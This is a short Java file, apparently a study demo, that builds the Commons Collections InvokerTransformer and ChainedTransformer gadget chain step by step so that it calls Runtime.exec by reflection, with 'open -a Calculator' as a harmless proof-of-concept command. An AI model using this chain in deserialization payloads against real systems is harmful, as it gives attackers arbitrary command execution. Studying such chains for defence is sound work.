1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.InvocationTargetException;
public class CommonsCollections implements Serializable { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException { ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime()); Object o = constantTransformer.transform(new Object()); System.out.println(Runtime.getRuntime().getClass().getName()); System.out.println(o.getClass().getName());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"} ); invokerTransformer.transform(Runtime.getRuntime());
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}); Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")); invokerTransformer1.transform(obj);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(new Object());
} }
|